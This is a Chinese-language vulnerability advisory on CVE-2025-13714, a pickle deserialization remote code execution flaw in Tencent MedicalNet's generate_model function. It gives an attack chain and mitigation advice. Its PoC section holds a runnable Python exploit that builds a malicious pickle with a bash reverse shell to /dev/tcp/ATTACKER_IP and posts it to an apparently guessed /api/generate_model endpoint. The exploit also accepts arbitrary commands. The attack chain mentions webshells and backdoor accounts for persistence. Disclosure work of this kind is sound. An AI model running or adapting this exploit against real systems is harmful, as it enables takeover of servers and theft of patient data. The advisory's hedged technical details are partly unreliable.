CVE-2025-13714: Tencent MedicalNet generate_model反序列化远程代码执行漏洞

漏洞信息

漏洞编号

CVE-2025-13714

漏洞类型

反序列化远程代码执行

CVSS评分

7.8 高危

攻击向量

本地 (AV:L)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Tencent MedicalNet

漏洞概述

CVE-2025-13714是腾讯医疗AI平台MedicalNet中存在的一个高危安全漏洞，CVSS评分达到7.8分。该漏洞位于MedicalNet的generate_model函数中，由于缺乏对用户输入数据的正确验证，导致反序列化操作处理了不受信任的数据。攻击者可以通过构造恶意的序列化数据，在目标系统上以root权限执行任意代码。

Tencent MedicalNet是腾讯开源的医学影像深度学习平台，广泛应用于医疗AI辅助诊断场景。该平台提供了预训练模型生成、数据处理等功能模块。generate_model函数负责根据用户提供的参数生成医学影像分析模型，这一过程中涉及数据的序列化和反序列化操作。

漏洞的利用需要用户交互，攻击者需要诱导目标用户访问恶意页面或打开包含恶意序列化数据的文件。一旦用户触发该功能，反序列化漏洞将被触发，攻击者可以在服务器端以root权限执行系统命令，完全控制受影响系统。此漏洞影响医疗数据的安全性，可能导致患者隐私信息泄露和医疗服务中断。

技术细节

该漏洞的根本原因在于MedicalNet的generate_model函数在处理模型生成请求时，直接对用户提供的序列化数据进行反序列化操作，而没有进行充分的安全验证。

具体技术细节如下：

1. **漏洞位置**：generate_model函数位于MedicalNet的数据处理模块中
2. **漏洞成因**：函数调用pickle.loads()或类似的反序列化函数处理用户输入时，缺少输入数据的白名单验证或完整性校验
3. **利用方式**：攻击者构造包含恶意代码的序列化对象（通常利用__reduce__方法），当该对象被反序列化时，__reduce__方法会被自动执行，从而触发代码执行
4. **权限提升**：由于MedicalNet通常以root权限运行服务，反序列化成功后的代码执行也具有root权限
5. **ZDI编号**：ZDI-CAN-27192

攻击者可以通过Python的pickle模块构造恶意序列化对象，其中包含反弹shell命令或直接执行系统操作的代码。常见的利用方式包括使用os.system、subprocess.Popen等函数执行任意命令。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者识别目标系统中运行的Tencent MedicalNet版本，确认generate_model函数存在且可访问

STEP 2

步骤2: 构造恶意载荷

攻击者利用Python pickle序列化的特性，构造包含恶意__reduce__方法的序列化对象，该对象在反序列化时将执行任意系统命令

STEP 3

步骤3: 社会工程攻击

攻击者通过钓鱼邮件、恶意链接或诱使目标用户打开特制的文件，诱导用户访问包含恶意载荷的页面或直接调用generate_model API

STEP 4

步骤4: 触发反序列化

当用户访问恶意页面或上传恶意数据时，generate_model函数对用户提供的序列化数据进行反序列化操作，触发__reduce__方法执行

STEP 5

步骤5: 权限提升与代码执行

恶意代码以root权限在服务器端执行，攻击者获得系统完全控制权，可执行任意命令、安装后门或窃取医疗数据

STEP 6

步骤6: 持久化控制

攻击者建立持久化访问通道，可能部署webshell、创建后门账户或修改系统配置以维持长期控制

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

""" CVE-2025-13714 PoC - Tencent MedicalNet generate_model Deserialization RCE Discovered by: [email protected] ZDI-CAN-27192 """ import pickle import base64 import requests import sys class RCEPayload: """ Malicious pickle payload for arbitrary command execution This payload uses __reduce__ method to execute commands during deserialization """ def __reduce__(self): # Execute reverse shell or arbitrary command cmd = "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1" return (eval, ("__import__('os').system('" + cmd + "')",)) def generate_exploit_payload(): """Generate the malicious serialized payload""" payload = pickle.dumps(RCEPayload()) return base64.b64encode(payload).decode() def exploit(target_url, command=None): """ Send the exploit payload to the vulnerable endpoint Args: target_url: Base URL of the vulnerable MedicalNet instance command: Optional custom command to execute (default: reverse shell) """ if command: class CustomPayload: def __reduce__(self): return (__import__('os').system, (command,)) payload = CustomPayload() else: payload = RCEPayload() serialized_data = base64.b64encode(pickle.dumps(payload)).decode() # Target endpoint - adjust path based on actual MedicalNet API structure exploit_url = f"{target_url}/api/generate_model" # Prepare the request data = { "model_config": serialized_data, "model_type": "custom", "data_source": "user_input" } try: response = requests.post(exploit_url, json=data, timeout=10) print(f"[*] Payload sent to {exploit_url}") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Exploit sent successfully - check for reverse shell") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13714.py <target_url> [command]") print("Example: python cve-2025-13714.py http://target:8000 'id > /tmp/pwned'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else None exploit(target, cmd)

影响范围

Tencent MedicalNet 全部版本（截至漏洞披露前）

防御指南

临时缓解措施

在官方补丁发布前，可采取以下临时缓解措施：1) 禁用或限制generate_model功能的访问，仅允许授权用户使用；2) 对所有输入数据进行严格的输入验证和过滤，检测并拒绝异常的序列化数据；3) 配置网络访问控制，限制对相关API端点的访问来源；4) 监控日志中的异常请求模式；5) 考虑暂时以非特权用户身份运行服务以降低风险；6) 实施应用层防火墙规则检测pickle序列化特征并阻断可疑请求。